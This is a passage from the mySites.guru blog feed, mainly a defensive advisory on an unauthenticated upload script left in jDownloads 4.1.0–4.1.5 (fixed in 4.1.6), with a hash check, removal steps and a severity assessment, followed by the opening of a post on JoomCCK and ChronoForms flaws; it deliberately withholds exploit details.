&lt;li&gt;&lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;DJ-Classifieds 3.11.2 Security Release&lt;/a&gt; - the vendor&apos;s own advisory for the patched release, listing the endpoint restriction and the image-only allow-list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the canonical definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP Unrestricted File Upload&lt;/a&gt; - why file upload flaws rate so highly and how far they can go.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely, including why a content blocklist is the wrong model.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers on access checks and safe file handling.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension flaws this sits alongside.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>dj-classifieds</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/dj-classifieds-unauthenticated-file-upload.CBEVOVvG.png" length="0" type="image/png"/></item><item><title>jDownloads 4.1 Shipped an Unauthenticated Upload Endpoint, Now Fixed in 4.1.6</title><link>https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/</link><guid isPermaLink="true">https://mysites.guru/blog/jdownloads-4-1-unauthenticated-upload-flaw/</guid><description>jDownloads 4.1.0 to 4.1.5 shipped a leftover test script that let anyone upload files to your Joomla site with no login. Update to 4.1.6, which removes it.</description><pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;jDownloads is a long-established download-manager component for Joomla, installed as &lt;code&gt;com_jdownloads&lt;/code&gt; and used to store, organise and serve files on business, membership and community sites. It has been on the Joomla Extensions Directory since 2007. Every 4.1.x release, from 4.1.0 to 4.1.5, shipped a file it should not: a standalone upload script with no login check, no CSRF token and no permission check, sitting at &lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt;. Anyone on the internet who knew the address could use it to upload files to your site.&lt;/p&gt;
&lt;p&gt;jDownloads has now released &lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;4.1.6&lt;/a&gt; as a security update on 18 July 2026. It removes the leftover files from the package and clears any legacy files and &lt;code&gt;test_uploads&lt;/code&gt; directory left behind by an earlier 4.1.x version when a site installs it. Update every affected site to 4.1.6. This post explains what the file did, which versions carried it, how serious it really was, and how to make sure it is gone, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update to jDownloads 4.1.6&lt;/p&gt;
  &lt;p&gt;jDownloads 4.1.6 is the fix: it removes administrator/components/com_jdownloads/assets/upload/upload-handler.php and clears the leftover test_uploads directory on install. Update every jDownloads 4.1 site you run. If you cannot update immediately, delete that file by hand as a stopgap; it does not change how jDownloads works.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: jDownloads 4.1.0 to 4.1.5 ship &lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt;, a standalone &lt;code&gt;move_uploaded_file&lt;/code&gt; endpoint with no &lt;code&gt;_JEXEC&lt;/code&gt; guard, no Joomla session, no CSRF token and no permission check. It ignores jDownloads&apos; own upload blacklist and enforces only its own hardcoded allow-list, which excludes &lt;code&gt;.php&lt;/code&gt; but permits archives, images, documents and executables like &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.msi&lt;/code&gt;. An unauthenticated visitor could write files of those types into a folder on your site and read them back over HTTP. The file was introduced in 4.1.0 and is byte-identical across every 4.1.x build (MD5 &lt;code&gt;d5bbd57fd97c99890f6a5fdc9d79ec00&lt;/code&gt;); it is absent from 4.0.52 and earlier. The developer confirmed it was a test component included by mistake, and jDownloads 4.1.6 (released 18 July 2026) removes it. It is tracked as CVE-2026-61900. Update every affected site to 4.1.6, and mySites.guru flags every jDownloads 4.1.0 to 4.1.5 site as vulnerable automatically so you can find them.&lt;/p&gt;
&lt;h2&gt;What Is Actually Wrong in jDownloads 4.1?&lt;/h2&gt;
&lt;p&gt;The problem is a single file that should never have shipped. &lt;code&gt;upload-handler.php&lt;/code&gt; is a self-contained PHP script that handles a file upload on its own, outside Joomla&apos;s normal request flow. It has none of the checks a Joomla upload is supposed to have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;No &lt;code&gt;_JEXEC&lt;/code&gt; guard, so it runs when requested directly by URL rather than only through Joomla.&lt;/li&gt;
&lt;li&gt;No Joomla session or login check, so it does not care who you are.&lt;/li&gt;
&lt;li&gt;No CSRF token, so there is nothing tying the request to a real logged-in user.&lt;/li&gt;
&lt;li&gt;No &lt;code&gt;authorise()&lt;/code&gt; permission check, so no capability is required.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It also ignores jDownloads&apos; own configuration. The component has a proper upload area in the Joomla admin with a blacklist that blocks &lt;code&gt;.php&lt;/code&gt; and other dangerous types. This script does not use any of that. It enforces its own hardcoded list of allowed extensions, and that list, while it excludes &lt;code&gt;.php&lt;/code&gt;, includes archives, images, office documents, and executables such as &lt;code&gt;.exe&lt;/code&gt; and &lt;code&gt;.msi&lt;/code&gt;. Whatever an anonymous visitor sends, if the extension is on that list, the file is written to a folder on your site under a timestamped name.&lt;/p&gt;
&lt;p&gt;We reproduced this on a local Joomla 5 install to be certain of the behaviour. As an anonymous request, with no cookie and no token, an allowed file uploaded successfully and was then readable back over HTTP. A direct &lt;code&gt;.php&lt;/code&gt; upload was refused by the script&apos;s own list. We are not publishing the request an attacker would send, the parameters, or a working proof of concept. The shape of the bug is enough to understand the risk and to remove the file.&lt;/p&gt;
&lt;h2&gt;Which jDownloads Versions Are Affected?&lt;/h2&gt;
&lt;p&gt;Every 4.1.x release carries the file: 4.1.0, 4.1.1, 4.1.2, 4.1.3, 4.1.4 and 4.1.5. It is byte-for-byte identical in all of them, with the MD5 hash &lt;code&gt;d5bbd57fd97c99890f6a5fdc9d79ec00&lt;/code&gt;, so you can verify a suspect file on any site by hashing it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;md5sum administrator/components/com_jdownloads/assets/upload/upload-handler.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We pinned the version range by comparing the official jDownloads packages directly. The file first appears in 4.1.0 and is not present in 4.1.0&apos;s predecessor, 4.0.52, or any earlier release, and it is removed again in the patched 4.1.6. In practice that means the 4.0 line and the older 3.x line, which are still the most common jDownloads versions we see across the sites we manage, do not carry this particular file. It is the 4.1.0 to 4.1.5 sites that are exposed. If your sites are on any of those, they have the file, whether or not you use uploads, so update them to 4.1.6.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;A matching hash is a definite hit, but the absence of the exact hash does not clear a site: if you find a file at that path on a 4.1.x install, delete it regardless of its hash. The hash is a convenience for confirming the shipped file, not a scanner in its own right.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Was This Found, and How Was It Fixed?&lt;/h2&gt;
&lt;p&gt;This one came to us through a mySites.guru subscriber. They found the flaw and reported it privately to the jDownloads developer, Arno Betz, who confirmed on 16 July 2026 that the file was experimental upload code left in the release package by mistake and said a fix was being prepared. jDownloads then released &lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;4.1.6&lt;/a&gt; on 18 July 2026, which removes the handler and clears the leftover &lt;code&gt;test_uploads&lt;/code&gt; directory when a site installs the update.&lt;/p&gt;
&lt;p&gt;We obtained the vendor&apos;s confirmation and then reproduced the flaw on a local Joomla install, so that we could be precise about what was exposed and which versions carried the file before flagging it to the sites we manage. It is now tracked as CVE-2026-61900. jDownloads&apos; own advisory thanks the community for reporting security issues responsibly but does not name the file or credit anyone by name, so if you only read the changelog you might miss what 4.1.6 actually closes.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Why we are not publishing an exploit&lt;/p&gt;
  &lt;p&gt;The developer acknowledged the flaw and has shipped a fix in 4.1.6. We have withheld the exact request, the parameters and any working proof of concept. The point of this post is to get the file off live sites, not to hand anyone a tool. The file path is included only because you need it to check for the file and delete it if you cannot update immediately.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Serious Is It Really?&lt;/h2&gt;
&lt;p&gt;It is easy to file every &quot;unauthenticated file upload&quot; under the same maximum-severity panic, so it is worth being precise. This is a genuine, no-login flaw, but it is not a clean remote code execution on a default server, and saying otherwise would be dishonest.&lt;/p&gt;
&lt;p&gt;The reason is the script&apos;s own extension list. It blocks a bare &lt;code&gt;.php&lt;/code&gt;, so an attacker cannot simply upload a web shell and run it on a standard setup. What they can do without any login is real enough:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Host malware, phishing pages, or other unwanted files on your domain. A trusted domain quietly serving attacker content gets flagged by browsers and search engines, which drags down your reputation and your search rankings even if no code ever runs.&lt;/li&gt;
&lt;li&gt;Fill your disk. The script accepts large files, so it is a straightforward abuse and denial-of-service primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It crosses into remote code execution in two situations. The first is a server that executes secondary file extensions, an Apache &lt;code&gt;AddHandler&lt;/code&gt; or &lt;code&gt;mod_mime&lt;/code&gt; misconfiguration where a name like &lt;code&gt;shell.php.jpg&lt;/code&gt; is run as PHP even though it &quot;looks like&quot; an image. That is common enough on cheap shared hosting. The second is a site where an administrator has widened the allowed types to include an executable one. In both cases an anonymous visitor gets to run code on your server. We assess the flaw as High severity for that reason: unauthenticated and reachable by anyone, gated on the default stack only by an extension list that several common configurations undo.&lt;/p&gt;
&lt;h2&gt;How Do I Fix My jDownloads Sites?&lt;/h2&gt;
&lt;p&gt;The proper fix is to update to 4.1.6. If you cannot do that on a site straight away, remove the file by hand as a stopgap. Either way it takes a couple of minutes per site.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Update to 4.1.6.&lt;/strong&gt; Update jDownloads to 4.1.6 on every affected site through Joomla&apos;s own Updates screen or by installing the package. It removes &lt;code&gt;upload-handler.php&lt;/code&gt; from the component and clears the leftover &lt;code&gt;test_uploads&lt;/code&gt; directory on install, so getting onto the patched release is the right end state.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Or delete the upload script by hand.&lt;/strong&gt; If you cannot update a site immediately, use FTP, SSH or your host&apos;s file manager to delete &lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt;. That one file is the whole problem. The &lt;code&gt;default.php&lt;/code&gt; sitting next to it is part of the same leftover test code and can go too. Over SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rm administrator/components/com_jdownloads/assets/upload/upload-handler.php
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clear the test_uploads folder.&lt;/strong&gt; Look for &lt;code&gt;administrator/components/com_jdownloads/test_uploads&lt;/code&gt;. If it exists, that is where the script writes, so review it for anything you did not put there, especially files that are not obviously your own, and then delete the folder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Check for signs it was used.&lt;/strong&gt; If a site ran 4.1.0 to 4.1.5 with the file in place for a while, do not just assume it is clean. Look for unexpected files in web-served folders, unfamiliar administrator accounts in your Joomla Users list sorted by registration date, and recently modified PHP files across the site.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you cannot get to a site immediately, you can also block the path at the web server as a stopgap, denying access to &lt;code&gt;upload-handler.php&lt;/code&gt;, but updating to 4.1.6 is cleaner and permanent.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Flags This Across Every Site&lt;/h2&gt;
&lt;p&gt;If you run sites through mySites.guru, two things are already working for you. First, mySites.guru now carries a rule that flags any connected Joomla site running jDownloads 4.1.0 to 4.1.5 as vulnerable, so the affected sites surface on their own rather than waiting for you to go looking. Second, the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;extension inventory&lt;/a&gt; lets you search for jDownloads once and see every connected site running it and the version each is on, so you know your exposure in seconds instead of logging into forty admin panels.&lt;/p&gt;
&lt;p&gt;The monitoring also watches for the outcome, not just the extension. An unexpected file appearing in a public folder, or an unfamiliar administrator account, is caught by the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content and hacked-file detection&lt;/a&gt; regardless of which extension let it in. That is the same generic detection that catches &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt; upload attempts, and it is why a new bug of this shape does not need a bespoke signature before it is visible.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every jDownloads install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for jDownloads across every connected Joomla site and filter for anything on 4.1.0 to 4.1.5 to find the installs that need updating to 4.1.6. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;File Uploads Are a Recurring Joomla Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites, treat every extension that touches file uploads as part of your attack surface. The underlying weakness here, a file with a dangerous type written where a check should have stopped it, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it turns up across the whole category rather than in one vendor&apos;s code.&lt;/p&gt;
&lt;p&gt;The recent run of Joomla disclosures makes the point. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/&quot;&gt;DJ-Classifieds&lt;/a&gt; were all variations on the same theme: an endpoint that accepted a file without a strict check on what actually got written. jDownloads&apos; version is a little different, because the dangerous file is not part of the working feature at all, just a test script that was never meant to reach a live site. The lesson is the same one behind the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX and frontend endpoints blind spot&lt;/a&gt;: anything reachable over HTTP has to assume the request is hostile, and a stray script with no checks is reachable the moment it is installed.&lt;/p&gt;
&lt;p&gt;To the developer&apos;s credit, jDownloads has a short security history and responded to the private report rather than ignoring it, shipping 4.1.6 within days. This is one file left in by mistake, not a pattern of problems, and the fix removes it properly.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day, and there will be another, because Joomla runs on thousands of third-party extensions and the ones that handle files keep producing bugs like this. The hard part is never the removal itself. It is knowing the problem exists, knowing which of your sites are affected, and getting to them before someone else does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known problem, jDownloads 4.1.0 to 4.1.5 included, and lets you act across all of them from one screen. When something like this surfaces before there is a CVE or a clear public warning, you still see exactly which of your sites run it.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is found, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability flags and one-click updates across every site you manage. If a site has already been touched, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by an anonymous user, with no login and no user interaction, on any site running jDownloads 4.1.0 to 4.1.5. On a default server the script&apos;s extension list keeps it short of direct code execution, so the immediate impact is unauthenticated file hosting and disk abuse; it reaches remote code execution on servers that execute secondary extensions or where an administrator has allowed an executable type. We assess it as High severity, CVSS 4.0 8.8 (&lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;), scoring the guaranteed arbitrary file write rather than the host-dependent code execution. It is tracked as CVE-2026-61900. jDownloads published a security advisory and released the patched 4.1.6 on 18 July 2026.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.8&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Unauthenticated&lt;/span&gt;
        &lt;span&gt;CVE-2026-61900; fixed in jDownloads 4.1.6&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Reachable by anyone on the internet with no account. On a default server it is unauthenticated file hosting and disk abuse; it becomes remote code execution on servers that run secondary file extensions or where an administrator has allowed an executable upload type. The fix is to update to 4.1.6, or delete the file by hand if you cannot update straight away.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login&lt;/span&gt;
        &lt;span&gt;Fixed in 4.1.6&lt;/span&gt;
        &lt;span&gt;Malware hosting&lt;/span&gt;
        &lt;span&gt;RCE on misconfigured hosts&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;jDownloads (&lt;code&gt;com_jdownloads&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Arno Betz, jdownloads.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary file upload (leftover test script)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File&lt;/td&gt;
&lt;td&gt;&lt;code&gt;administrator/components/com_jdownloads/assets/upload/upload-handler.php&lt;/code&gt; (MD5 &lt;code&gt;d5bbd57fd97c99890f6a5fdc9d79ec00&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61900&quot;&gt;CVE-2026-61900&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;High (our assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.8 (High), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;A mySites.guru subscriber, privately, to the vendor&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;4.1.0 to 4.1.5 (file introduced in 4.1.0; absent from 4.0.52 and earlier)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;jDownloads 4.1.6&lt;/a&gt;, released 18 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;16 July 2026&lt;/td&gt;
&lt;td&gt;The vendor, Arno Betz, confirms privately that &lt;code&gt;upload-handler.php&lt;/code&gt; was experimental upload code included in the jDownloads release package by mistake, and says a fix that removes the handler and the &lt;code&gt;test_uploads&lt;/code&gt; directory is being prepared.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17 July 2026&lt;/td&gt;
&lt;td&gt;We reproduce the flaw on a local Joomla install, confirm the affected version range by comparing official packages, add a rule flagging jDownloads 4.1.0 to 4.1.5 for the sites we manage, and publish this advice. No proof of concept is released.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18 July 2026&lt;/td&gt;
&lt;td&gt;jDownloads releases 4.1.6, a security update that removes the leftover upload files from the package and clears the &lt;code&gt;test_uploads&lt;/code&gt; directory on install. Update every affected site to 4.1.6.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jdownloads.com/index.php/news/jdownloads-4-1-6-secure-update-released.html&quot;&gt;jDownloads 4.1.6 Secure Update Released&lt;/a&gt; - the vendor&apos;s own advisory for the patched release, with its notes on the removed legacy files and cleanup on install.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the canonical definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP Unrestricted File Upload&lt;/a&gt; - why file upload flaws rate so highly and how far they can go.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely, including why storing uploads outside the web root matters.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers on access checks and safe file handling.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;A month of Joomla security disclosures&lt;/a&gt; - the wider run of Joomla extension flaws this sits alongside.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>jdownloads</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/jdownloads-4-1-unauthenticated-upload-flaw.dCL512G6.png" length="0" type="image/png"/></item><item><title>We Are Not the Only Ones Auditing Joomla Extensions</title><link>https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/</link><guid isPermaLink="true">https://mysites.guru/blog/we-are-not-the-only-ones-auditing-joomla-extensions/</guid><description>Two Joomla extension flaws just went public via the Joomla CNA: an unauthenticated SQL injection in JoomCCK and a stored XSS in ChronoForms. Neither was ours. Update now.</description><pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru has reported a run of Joomla extension vulnerabilities over the past month, enough of them that you could be forgiven for thinking we are the only people auditing this code. We are not, and this week proved it cleanly. Two more Joomla extension vulnerabilities were published by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, both rated High, and neither of them was ours.&lt;/p&gt;
&lt;p&gt;We are writing about them anyway, for two reasons. Our customers run both extensions, so the update matters to them whoever found the flaw. And it is worth saying out loud that a healthy security ecosystem has more than one set of eyes in it.&lt;/p&gt;
&lt;h2&gt;Two more extension flaws, and neither was ours&lt;/h2&gt;
&lt;p&gt;Here are the two, exactly as the Joomla CNA published them:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;Extension&lt;/th&gt;
&lt;th&gt;Flaw&lt;/th&gt;
&lt;th&gt;Fixed in&lt;/th&gt;
&lt;th&gt;Reported by&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49048&quot;&gt;CVE-2026-49048&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;JoomCCK (JoomCoder)&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection&lt;/td&gt;
&lt;td&gt;6.4.1&lt;/td&gt;
&lt;td&gt;Kamil Soltanov&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58148&quot;&gt;CVE-2026-58148&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;ChronoForms (ChronoEngine)&lt;/td&gt;
&lt;td&gt;Unauthenticated stored XSS&lt;/td&gt;
&lt;td&gt;8.0.53&lt;/td&gt;
&lt;td&gt;Italo Almeida&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49048&quot;&gt;CVE-2026-49048&lt;/a&gt;&lt;/strong&gt; is an unauthenticated SQL injection in JoomCCK, the content construction kit by &lt;a href=&quot;https://www.joomcoder.com/&quot;&gt;JoomCoder&lt;/a&gt;. A front-end controller task builds two SQL statements by concatenating a request parameter straight into the query, with no escaping or parameterisation, so an anonymous visitor can bend the query and read from the database. Every version up to and including 6.4.0 is affected, and it is fixed in 6.4.1. The Joomla CNA scored it CVSS 4.0 8.7 (High), and it rates 9.8 (Critical) on the older CVSS 3.1 scale. It was reported by Kamil Soltanov.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;CVE-2026-49048 (JoomCCK), scored by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated SQL injection reachable over the internet with no login, ending in read access to the site database. It also rates 9.8 (Critical) on the older CVSS 3.1 scale. Fixed in JoomCCK 6.4.1.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;Database read&lt;/span&gt;
        &lt;span&gt;9.8 Critical on CVSS 3.1&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
